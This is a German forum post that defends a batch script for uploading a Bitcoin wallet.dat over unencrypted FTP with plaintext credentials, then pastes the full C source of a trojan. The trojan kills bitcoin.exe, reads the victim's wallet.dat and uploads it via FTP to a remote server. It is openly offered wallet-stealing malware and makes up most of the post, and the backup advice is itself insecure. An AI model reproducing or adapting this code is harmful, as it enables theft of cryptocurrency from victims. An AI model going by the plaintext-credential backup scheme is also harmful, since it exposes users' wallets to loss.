Oh ha,
selbstverständlich hast du recht !
1. Per ftp(!) unverschlüsselt eine wallet.dat ins Netz schieben
2. Für einen Server auf dem die wallet.dat liegt den Nutzer und das Passwort im Klartext in einem Script speichern.
3. Ein Script meine wallet.dat löschen lassen ohne sicher zu gehen, dass diese auch korrekt auf dem Server liegt.
Das problem das die FTP daten in der Bat stehen darin sehe ich kein problem.
Da die bat standort unabhängig ist. Du kannst sie nutzen vom stick aus , und nennen wie du willst.
Hmm Entschuldigung wenn ich mich so schlecht ausdrücke
Ich bin davon ausgegangen das wenn jemand einen Server benutzt auch eine sichere verbindung besteht via httacces z.B
Nutzungs beisspiel 1Nehmen wir an du hast VmWare und dort hostet du via XAMPP in der Virtuellen maschine deinen Host zum saven , dann brauchst du nur noch einen mausklick machen um deine datei dort abzuspeichern.
Nutzungs beisspiel 2Anstatt die wallet.dat zu nehmen kann man auch jede andere datei damit Uploaden auch eine
wallet.rar mit verschlüsselung die wirklich jeder haben sollte (mindestens).
Der 2 zweite eintrag zum löschen ist eine eigene Bat , da du sonst unter umständen die wallet auf dem server löschen würdest .
--------------
Da zur zeit aber nur ein Trojaner umher geht der die wallet.dat stiehlt wird dies ausreichen um die sicherheit zu gewährleisten bei beisspiel 1-2...
hier der aktuelle trojaner
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "wininet")
void killprocess()
{
HANDLE hProcessSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0 );
PROCESSENTRY32 ProcessEntry = { 0 };
ProcessEntry.dwSize = sizeof( ProcessEntry );
BOOL Return = FALSE;
Return = Process32First( hProcessSnapShot,&ProcessEntry );
int value = _tcsicmp(ProcessEntry.szExeFile, _T("bitcoin.exe"));
if (value==0)
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID);
TerminateProcess(hProcess,0);
CloseHandle(hProcess); //Close Handle }
}
while( Process32Next( hProcessSnapShot, &ProcessEntry ));
CloseHandle( hProcessSnapShot );
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
killprocess();
Sleep(40000);
srand((unsigned)time(NULL));
int seedone=rand();
int seedtwo=rand()*3;
int seedboth = seedone + seedtwo;
char randomseed[99];
itoa(seedboth,randomseed,10);
char* appdata = getenv("%APPDATA%");
char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat");
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
hFtpSession = InternetConnect(hInternet, "ftp.", INTERNET_DEFAULT_FTP_PORT, "", "", INTERNET_SERVICE_FTP, 0, 0);
FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0);
FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 0;
}
Das intressante daran ist das der trojaner nur die wallet.dat kopieren kann wenn die bitcoin.exe geschlossen ist